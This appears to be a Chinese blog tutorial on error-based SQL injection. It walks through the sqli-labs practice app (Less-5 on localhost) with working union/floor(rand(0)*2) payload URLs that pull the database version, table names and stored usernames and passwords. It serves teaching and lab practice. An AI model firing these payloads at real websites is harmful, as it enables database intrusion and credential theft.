SQL注入(6)

GET报错注入

报错注入介绍

报错注入形式上是两个嵌套的查询,即select…(select…),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

rand()随机函数,返回0~1之间的某个值

floor(a)取整函数,返回小于等于a,且值最接近a的一个整数

count()聚合函数也称作计数函数,返回查询对象的总数

gourp by clause分组函数,按照查询结果分组

通过报错来显示具体的信息

查询的时候如果使用rand()的话,该值会被计算多次。在使用group
by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入的时候会再被执行一次。在一次多记录的查询过程中

floor(rand(0)*2)的只是定性的,为011011

python select count(*) from table group by floor(rand(0)*2);

GET单引号报错注入

Less 5:
获取数据库

http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

SQL注入(6)

获取表名

http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

SQL注入(6)

获取用户信息

http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

SQL注入(6)

GET双引号报错注入

上面的单引号变成双引号,其它的没什么改变

Sqlmap安全测试

略!!!

上一篇:php生成唯一随机码


下一篇:[MSSQL2008]Spatial Data in SQL Server 2008 - 根据经纬度计算两点间距离